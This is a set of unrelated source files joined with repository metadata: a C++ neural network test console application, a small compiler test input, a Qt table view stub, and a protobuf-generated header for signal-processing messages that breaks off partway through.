1/1 //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- NeuralNetworkApplication::NeuralNetworkApplication ( int argc, char* argv [] ) : ConsoleApplication { argc, argv } { } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // Destructor //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- NeuralNetworkApplication::~NeuralNetworkApplication () { } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // FUNCTION: // // - ExecuteCommandInterpreter // // DESCRIPTION: // // - Execute commands passed in through the command line. // // - ExecuteCommandInterpreter should be overloaded in a derived class, and not // called directly. // // 1. Extend ConsoleApplication. // 2. Overload ExecuteCommandInterpreter() to implement commands. // 3. Call an instance of the derived class in Main.cpp. // // ARGUMENTS: // // - N/A // // RETURN VALUE: // // - N/A. // // PRE-CONDITIONS: // // - N/A // // POST-CONDITIONS: // // - The apropriate commands, as defined in a derived class, have been executed. // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::command_interpreter ( vector <string> command_line ) { // Declare local variables. int test_case = 1; // Get the number of arguments on the command line, including the command it's self. int argument_count { (int) command_line.size () }; int argument_index { 0 }; // Execute commands. switch ( argument_count ) { case 1: switch ( test_case ) { case 0: command_main_program (); break; case 1: command_test_1 (); break; // Test 2D vector element ordering for weight amtrix. case 2: command_test_2 (); break; // Test Layer. case 3: command_test_3 (); break; case 4: command_test_4 (); break; // Layer level boolean function test. OR and AND. case 5: command_test_5 (); break; // NeuralNetwork test 1. } break; case 2: break; default: break; } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::command_main_program () { print_program_info ( C_PROGRAM_INFO_NA, C_PROGRAM_INFO_NA, "Main program" ); } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // FUNCTION: // // - command_test_1 // // DESCRIPTION: // // - Test 2D array managment code. // - We are not testing any of the actual NeuralNetwork or NeuralNetworkLayer functions here. // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::command_test_1 () { // Declare local variables. vector <vector <int>> layer; int input_unit_count = 8; int output_unit_count = 4; int input_unit_index = 0; int initial_value = 0; // Initialize network layer. layer.resize ( output_unit_count, vector<int> ( input_unit_count, initial_value ) ); // Print network. cout << "\nInputs:\t\t"; for ( int i=0; i < input_unit_count; i++ ) cout << i << "\t"; cout << "\n\t\t"; for ( int i=0; i < input_unit_count; i++ ) cout << "-" << "\t"; cout << "\n\n\n"; input_unit_index = 0; for ( vector<int> v : layer ) { cout << "Output " << input_unit_index << "|\t"; for ( int i : v ) cout << i << "\t"; cout << "\n\n"; ++input_unit_index; } cout << "\n"; // Set some values. layer [ 1 ][ 2 ] = 100; // Print network. cout << "\nInputs:\t\t"; for ( int i=0; i < input_unit_count; i++ ) cout << i << "\t"; cout << "\n\t\t"; for ( int i=0; i < input_unit_count; i++ ) cout << "-" << "\t"; cout << "\n\n\n"; input_unit_index = 0; for ( vector<int> v : layer ) { cout << "Output " << input_unit_index << "|\t"; for ( int i : v ) cout << i << "\t"; cout << "\n\n"; ++input_unit_index; } cout << "\n"; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // FUNCTION: // // - command_test_2 // // DESCRIPTION: // // - Testing analysis functions in the NeuralNetworkLayer class. // - Test file output functions. // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::command_test_2 () { #if 0 // Declare local variables. NeuralNetworkLayer ann_layer { 8, 8 }; string file_path { "R:\\Projects\\common\\machine_learning\\cpp\\neural_network\\Debug\\Output\\" }; string file_name_0 { "test_file_0.dsv" }; string file_name_1 { "test_file_1.csv" }; string file_name_2 { "test_file_2.tsv" }; string file_name_3 { "test_file_3.txt" }; string file_name_4 { "test_file_uint8.bin" }; string s; int precision { 3 }; bool header_row_enabled { true }; bool activation_function_enabled { true }; char delimiter { ',' }; // Initialize layer parameters. ann_layer.set_bias_vector ( 0.0 ); ann_layer.randomize_weights ( 0.0, 1.0 ); s += ann_layer.to_string ( precision, header_row_enabled, activation_function_enabled ); cout << s; // Test analsys functions. cout << endl; for ( int normal_index = 0; normal_index < ann_layer.output_vector_size; normal_index++ ) { cout << "Sum ( Unit Normal [" << normal_index << "] ) = " << ann_layer.unit_normal_sum ( normal_index ) << endl; } cout << endl << "Sum ( units ) = " << ann_layer.layer_normal_sum () << endl; cout << endl << "Output Vector Size = " << ann_layer.output_vector.size() << endl; // Test file saving. ann_layer.save_to_dsv ( file_path + file_name_0, delimiter, precision, header_row_enabled ); ann_layer.save_to_csv ( file_path + file_name_1 ); ann_layer.save_to_tsv ( file_path + file_name_2 ); ann_layer.save_to_txt ( file_path + file_name_3, 4, true ); ann_layer.save_to_bin_uint8 ( file_path + file_name_4 ); #endif } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // FUNCTION: // // - command_test_3 // // DESCRIPTION: // // - Test the compute_layer function. // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::command_test_3 () { #if 0 // Display test info. cout << endl << "TEST FUNCTION: command_test_3" << endl << endl; // Declare local variables. string s; int precision { 5 }; bool header_row_enabled { true }; bool activation_function_enabled { true }; char delimiter { ',' }; // Initialize layer. int input_unit_count { 3 }; int output_unit_count { 2 }; NeuralNetworkLayer ann_layer { input_unit_count, output_unit_count }; ann_layer.activation_function_type = NeuralNetworkLayer::ActivationFunctionType::TANH; ann_layer.set_bias_vector ( 0.0 ); //ann_layer.set_weights ( 0.0 ); ann_layer.randomize_weights ( -0.5, 0.5 ); // Display layer data to console. s += ann_layer.to_string ( precision, header_row_enabled, activation_function_enabled ); cout << s << endl; // Initialize layer input and output. vector <double> x { -1.0, 0.0, 1.0 }; vector <double> y ( output_unit_count ); // Test layer computation. y = ann_layer.compute_layer ( x ); // Display input and output. print_vector ( x, precision, "Input Vector:", "x" ); print_vector ( y, precision, "Output Vector:", "y" ); #endif } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // FUNCTION: // // - command_test_4 // // DESCRIPTION: // // - Layer level boolean function test. // y = OR ( x0, x1 ) // y = AND ( x0, x1 ) // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::command_test_4 () { #if 0 // Display test info. cout << endl; cout << "TEST FUNCTION: command_test_4" << endl; cout << "DESCRIPTION: Boolean function test." << endl; cout << endl; cout << "Perceptron:" << endl; cout << endl; // Declare local variables. string s; int precision { 3 }; bool header_row_enabled { true }; bool activation_function_enabled { true }; char delimiter { ',' }; // Initialize number of input and output units. int input_unit_count { 2 }; int output_unit_count { 1 }; NeuralNetworkLayer ann_layer { input_unit_count, output_unit_count }; ann_layer.activation_function_type = NeuralNetworkLayer::ActivationFunctionType::QUADRATIC; ann_layer.set_bias_vector ( 0.0 ); ann_layer.set_weights ( 0.0 ); // Manualy program weight vector/s. // // - Perceptron weights and bias to implement an AND gate. // w0 = 0.5 // w1 = 0.5 // b = -0.8 // // - Perceptron weights and bias to implement an OR gate. // w0 = 0.5 // w1 = 0.5 // b = -0.3 vector<double> weight_vector { 0.5, 0.5 }; int output_unit_index { 0 }; ann_layer.weight_vectors [ output_unit_index ] = weight_vector; ann_layer.set_bias_vector ( -0.3 ); // Display layer data to console. s += ann_layer.to_string ( precision, header_row_enabled, activation_function_enabled ); cout << s << endl; // Initialize layer input and output. vector <double> x { 1.0, 0.0 }; vector <double> y { 0.0 }; // Test layer computation. y = ann_layer.compute_layer ( x ); // Display input and output. print_vector ( x, precision, "Input Vector:", "x" ); print_vector ( y, precision, "Output Vector:", "y" ); #endif } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // FUNCTION: // // - command_test_4 // // DESCRIPTION: // // - Layer level boolean function test. // y = OR ( x0, x1 ) // y = AND ( x0, x1 ) // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #define TIME_START time_point_cast <milliseconds> ( time_start ).time_since_epoch().count() #define TIME_STOP time_point_cast <milliseconds> ( steady_clock::now () ).time_since_epoch().count() void NeuralNetworkApplication::command_test_5 () { #if 0 // Define local constants. const string LOG_SYSTEM = "SYSTEM: "; const string LOG_TAB = " "; // Initialize clock. steady_clock::time_point time_start = steady_clock::now (); // Display test info. cout << endl; cout << "TEST FUNCTION: command_test_5" << endl; cout << "DESCRIPTION: NeuralNetwork Class Test 1.0." << endl; cout << endl; // Declare local display variables. string s; int precision { 3 }; bool header_row_enabled { true }; bool activation_function_enabled { true }; // Initialize neural network. cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Building neural netowrk." ) << endl; vector<int> network_architecture { 2, 2, 1 }; NeuralNetwork ann { network_architecture }; cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Neural netowrk ready." ) << endl; cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Initializing neural netowrk." ) << endl; if ( 0 ) ann.set_bias_vectors ( 0.0 ); if ( 0 ) ann.set_weights ( 0.0 ); if ( 0 ) ann.randomize_weights ( -0.5, 0.5 ); if ( 0 ) ann.randomize_bias_vectors ( -0.5, 0.5 ); if ( 1 ) ann.neural_network [0].activation_function_type = NeuralNetworkLayer::ActivationFunctionType::STEP; if ( 1 ) ann.neural_network [1].activation_function_type = NeuralNetworkLayer::ActivationFunctionType::STEP; cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Neural netowrk initialized." ) << endl; // Train neural netowrk cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Training neural netowrk." ) << endl; vector<vector<vector<double>>> weight { { { 1.0, 1.0 }, { 1.0, 1.0 } }, { { 1.0, -1.0 } } }; vector<vector<double>> bias { { 0.5, 1.5 }, { 0.5 } }; ann.neural_network [ 0 ].weight_vectors = weight [ 0 ]; ann.neural_network [ 1 ].weight_vectors = weight [ 1 ]; ann.neural_network [ 0 ].bias_vector = bias [ 0 ]; ann.neural_network [ 1 ].bias_vector = bias [ 1 ]; cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Neural netowrk trained." ) << endl; // Initialize input and output vectors. cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Initializing input and output vectors." ) << endl; vector<double> x { 0, 0 }; vector<double> y { 0 }; if (0) for ( int i=0; i < network_architecture [ 0 ]; i++ ) x.push_back ( 0.0 ); if (0) for ( int i=0; i < network_architecture [ 1 ]; i++ ) y.push_back ( 0.0 ); cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Input and output vectors initialized." ) << endl; // Test neural network. cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Computing network (Feed forward execution)." ) << endl; y = ann.compute_network ( x ); cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Network computation complete." ) << endl; // Display layer data to console. #if 1 cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Compiling neural network display string." ) << endl; s += ann.to_string ( precision, activation_function_enabled, header_row_enabled ); cout << log_to_string ( TIME_START, TIME_STOP, LOG_SYSTEM + "Display string ready." ) << endl; // Display input and output. cout << endl; print_vector ( x, precision, "Input Vector:", "x" ); print_vector ( y, precision, "Output Vector:", "y" ); // Display neural network data. cout << endl << "Neural Network:" << endl << endl; cout << "\ts.size() = " << s.size()/1048576.0 << " MB" << endl; cout << "\ts.size() = " << s.size()/1024.0 << " KB" << endl; cout << "\ts.size() = " << s.size() << " B" << endl; cout << endl; cout << s << endl; #endif #endif } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- //print_program_info //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // Overload 1/2 void NeuralNetworkApplication::print_program_info () { print_program_info ( C_PROGRAM_INFO_NA, C_PROGRAM_INFO_NA, C_PROGRAM_INFO_NA ); } // Overload 2/2 void NeuralNetworkApplication::print_program_info ( string class_name, string function_name, string description ) { cout << endl; cout << C_PROGRAM_INFO_PROJECT << endl; cout << C_PROGRAM_INFO_PROGRAM << endl; cout << C_PROGRAM_INFO_VERSION << endl; cout << C_PROGRAM_INFO_DATE << endl; cout << C_PROGRAM_INFO_AUTHOR << endl; if ( class_name.length () > 0 ) cout << C_PROGRAM_INFO_CLASS << class_name << endl; if ( function_name.length () > 0 ) cout << C_PROGRAM_INFO_FUNCTION << function_name << endl; if ( description.length () > 0 ) cout << C_PROGRAM_INFO_DESCRIPTION << description << endl; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // print_vector //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void NeuralNetworkApplication::print_vector ( vector <double> v, int precision, string label, string vector_name ) { // Define lambdas auto new_line = [] () { cout << endl; }; // Initialize local variables. string element_value_string; int width { precision + 3 }; // We add 3, for the sign, one decimal unit, and a decimal point. // Print the vector label. cout << label << endl; new_line (); // Print out the vector data to the console. for ( int index = 0; index < (signed) v.size(); index++ ) { element_value_string = StaticUtility::to_aligned_string ( v [ index ], precision, width, StaticUtility::ALIGN_RIGHT ); cout << setw ( 5 ) << setprecision ( 5 ) << fixed; cout << vector_name << "[" << index << "] = " << element_value_string << endl; } new_line (); } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // log //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- string NeuralNetworkApplication::log_to_string ( long long time_point, long long time_stop, string message ) { // Compute elapsed time. long long elappsed_time = time_stop - time_point; // Compile log string. string s_time { StopClock::time_to_string ( elappsed_time ) }; string s_log { s_time + " " + message }; // Return string to caller. return s_log; }
[ "rohingosling@gmail.com" ]
rohingosling@gmail.com
06e794aa5c44fa16a9bd111b117a548d4b776101
7b80821b859a9ac660c7c2f4cf0bdecbb03129ee
/Intermediate Code Generation/input.cpp
d8f136d519d4eb99ca14ed8dd19f910fd5d38afc
[]
no_license
rohanrkamath/Mini-Compiler
c04af3cc1c15d1ce9ab17cb482214da7eea6dffb
c55101a2952ff294f5e24348dd7ad8c30e377a77
refs/heads/master
2022-09-15T07:22:49.684586
2020-06-02T12:08:08
2020-06-02T12:08:08
null
0
0
null
null
null
null
UTF-8
C++
false
false
229
cpp
#include<iostream> using namespace std; int main() { int i=2; int b=100; if(i>10) { cout<<"test1"; } else { cout<<"test2"; } for(i=0;i<10;i++) { b=b*2*3*4; } a=a*3+4; i=1; while(a>11) { cout<<"test3"; } }
[ "RohanKamath1126@users.noreply.github.com" ]
RohanKamath1126@users.noreply.github.com
15d96dc05fadc606c59ef6c665ed2f5a84c8dafb
fa041d3904086a58e52a5c2ffd876ffa7679e5e0
/FSViewer/uitableview.cpp
1b0a81a254c00db766ca18de4a586b55a587c033
[]
no_license
Lyarvo4ka/RecoveryProjects
b56fffe64f63b17943a37f6db68b5b5d57651b47
7bb9e68924d7397041dd2a3f15e63273e43e2b58
refs/heads/master
2021-06-25T15:49:14.350896
2021-02-17T13:28:48
2021-02-17T13:28:48
199,153,605
0
0
null
null
null
null
UTF-8
C++
false
false
317
cpp
#include "uitableview.h" UITableView::UITableView(QWidget *parent) : QTableView(parent) { } UITableView::~UITableView() { } //void UITableView::UpdateCheck(const Qt::CheckState checkState) //{ // //QModelIndex currentIndex = this->currentIndex(); // //tree_model_->updateCheckState(currentIndex,checkState); //}
[ "Lyarvo4ka@gmail.com" ]
Lyarvo4ka@gmail.com
6a855c53456a78df9bb478a48897b930ee576de1
a771175463cb7099bfbd3a70214adaacb23ae9b4
/Source/SignalMessages.pb.h
a058c7352b18dd5286ff865239b231af0c21b79a
[ "Apache-2.0" ]
permissive
MDR-69/SignalProcessor
619cba03532aceb26011689ab103aca28522dcce
bc3452ab5ac4d034dc0f66d0eed9e766ddd3cdad
refs/heads/master
2021-06-01T19:16:25.080628
2016-06-10T07:03:45
2016-06-10T07:03:45
null
0
0
null
null
null
null
UTF-8
C++
false
true
37,589
h
// Generated by the protocol buffer compiler. DO NOT EDIT! // source: SignalMessages.proto #ifndef PROTOBUF_SignalMessages_2eproto__INCLUDED #define PROTOBUF_SignalMessages_2eproto__INCLUDED #include <string> #include <google/protobuf/stubs/common.h> #if GOOGLE_PROTOBUF_VERSION < 2005000 #error This file was generated by a newer version of protoc which is #error incompatible with your Protocol Buffer headers. Please update #error your headers. #endif #if 2005000 < GOOGLE_PROTOBUF_MIN_PROTOC_VERSION #error This file was generated by an older version of protoc which is #error incompatible with your Protocol Buffer headers. Please #error regenerate this file with a newer version of protoc. #endif #include <google/protobuf/generated_message_util.h> #include <google/protobuf/message.h> #include <google/protobuf/repeated_field.h> #include <google/protobuf/extension_set.h> #include <google/protobuf/unknown_field_set.h> // @@protoc_insertion_point(includes) // Internal implementation detail -- do not call these. void protobuf_AddDesc_SignalMessages_2eproto(); void protobuf_AssignDesc_SignalMessages_2eproto(); void protobuf_ShutdownFile_SignalMessages_2eproto(); class SignalLevel; class SignalInstantVal; class Impulse; class LinearFFT; class LogFFT; class TimeInfo; // =================================================================== class SignalLevel : public ::google_public::protobuf::Message { public: SignalLevel(); virtual ~SignalLevel(); SignalLevel(const SignalLevel& from); inline SignalLevel& operator=(const SignalLevel& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const SignalLevel& default_instance(); void Swap(SignalLevel* other); // implements Message ---------------------------------------------- SignalLevel* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const SignalLevel& from); void MergeFrom(const SignalLevel& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // required float signalLevel = 2 [default = 0]; inline bool has_signallevel() const; inline void clear_signallevel(); static const int kSignalLevelFieldNumber = 2; inline float signallevel() const; inline void set_signallevel(float value); // @@protoc_insertion_point(class_scope:SignalLevel) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_signallevel(); inline void clear_has_signallevel(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float signallevel_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(2 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static SignalLevel* default_instance_; }; // ------------------------------------------------------------------- class SignalInstantVal : public ::google_public::protobuf::Message { public: SignalInstantVal(); virtual ~SignalInstantVal(); SignalInstantVal(const SignalInstantVal& from); inline SignalInstantVal& operator=(const SignalInstantVal& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const SignalInstantVal& default_instance(); void Swap(SignalInstantVal* other); // implements Message ---------------------------------------------- SignalInstantVal* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const SignalInstantVal& from); void MergeFrom(const SignalInstantVal& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // required float signalInstantVal = 2 [default = 0]; inline bool has_signalinstantval() const; inline void clear_signalinstantval(); static const int kSignalInstantValFieldNumber = 2; inline float signalinstantval() const; inline void set_signalinstantval(float value); // @@protoc_insertion_point(class_scope:SignalInstantVal) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_signalinstantval(); inline void clear_has_signalinstantval(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float signalinstantval_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(2 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static SignalInstantVal* default_instance_; }; // ------------------------------------------------------------------- class Impulse : public ::google_public::protobuf::Message { public: Impulse(); virtual ~Impulse(); Impulse(const Impulse& from); inline Impulse& operator=(const Impulse& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const Impulse& default_instance(); void Swap(Impulse* other); // implements Message ---------------------------------------------- Impulse* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const Impulse& from); void MergeFrom(const Impulse& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // @@protoc_insertion_point(class_scope:Impulse) private: inline void set_has_signalid(); inline void clear_has_signalid(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(1 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static Impulse* default_instance_; }; // ------------------------------------------------------------------- class LinearFFT : public ::google_public::protobuf::Message { public: LinearFFT(); virtual ~LinearFFT(); LinearFFT(const LinearFFT& from); inline LinearFFT& operator=(const LinearFFT& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const LinearFFT& default_instance(); void Swap(LinearFFT* other); // implements Message ---------------------------------------------- LinearFFT* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const LinearFFT& from); void MergeFrom(const LinearFFT& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // required float fundamentalFreq = 2 [default = 0]; inline bool has_fundamentalfreq() const; inline void clear_fundamentalfreq(); static const int kFundamentalFreqFieldNumber = 2; inline float fundamentalfreq() const; inline void set_fundamentalfreq(float value); // repeated float data = 3 [packed = true]; inline int data_size() const; inline void clear_data(); static const int kDataFieldNumber = 3; inline float data(int index) const; inline void set_data(int index, float value); inline void add_data(float value); inline const ::google_public::protobuf::RepeatedField< float >& data() const; inline ::google_public::protobuf::RepeatedField< float >* mutable_data(); // @@protoc_insertion_point(class_scope:LinearFFT) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_fundamentalfreq(); inline void clear_has_fundamentalfreq(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float fundamentalfreq_; ::google_public::protobuf::RepeatedField< float > data_; mutable int _data_cached_byte_size_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(3 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static LinearFFT* default_instance_; }; // ------------------------------------------------------------------- class LogFFT : public ::google_public::protobuf::Message { public: LogFFT(); virtual ~LogFFT(); LogFFT(const LogFFT& from); inline LogFFT& operator=(const LogFFT& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const LogFFT& default_instance(); void Swap(LogFFT* other); // implements Message ---------------------------------------------- LogFFT* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const LogFFT& from); void MergeFrom(const LogFFT& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // optional int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // optional float fundamentalFreq = 2; inline bool has_fundamentalfreq() const; inline void clear_fundamentalfreq(); static const int kFundamentalFreqFieldNumber = 2; inline float fundamentalfreq() const; inline void set_fundamentalfreq(float value); // optional float band1 = 3; inline bool has_band1() const; inline void clear_band1(); static const int kBand1FieldNumber = 3; inline float band1() const; inline void set_band1(float value); // optional float band2 = 4; inline bool has_band2() const; inline void clear_band2(); static const int kBand2FieldNumber = 4; inline float band2() const; inline void set_band2(float value); // optional float band3 = 5; inline bool has_band3() const; inline void clear_band3(); static const int kBand3FieldNumber = 5; inline float band3() const; inline void set_band3(float value); // optional float band4 = 6; inline bool has_band4() const; inline void clear_band4(); static const int kBand4FieldNumber = 6; inline float band4() const; inline void set_band4(float value); // optional float band5 = 7; inline bool has_band5() const; inline void clear_band5(); static const int kBand5FieldNumber = 7; inline float band5() const; inline void set_band5(float value); // optional float band6 = 8; inline bool has_band6() const; inline void clear_band6(); static const int kBand6FieldNumber = 8; inline float band6() const; inline void set_band6(float value); // optional float band7 = 9; inline bool has_band7() const; inline void clear_band7(); static const int kBand7FieldNumber = 9; inline float band7() const; inline void set_band7(float value); // optional float band8 = 10; inline bool has_band8() const; inline void clear_band8(); static const int kBand8FieldNumber = 10; inline float band8() const; inline void set_band8(float value); // optional float band9 = 11; inline bool has_band9() const; inline void clear_band9(); static const int kBand9FieldNumber = 11; inline float band9() const; inline void set_band9(float value); // optional float band10 = 12; inline bool has_band10() const; inline void clear_band10(); static const int kBand10FieldNumber = 12; inline float band10() const; inline void set_band10(float value); // optional float band11 = 13; inline bool has_band11() const; inline void clear_band11(); static const int kBand11FieldNumber = 13; inline float band11() const; inline void set_band11(float value); // optional float band12 = 14; inline bool has_band12() const; inline void clear_band12(); static const int kBand12FieldNumber = 14; inline float band12() const; inline void set_band12(float value); // @@protoc_insertion_point(class_scope:LogFFT) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_fundamentalfreq(); inline void clear_has_fundamentalfreq(); inline void 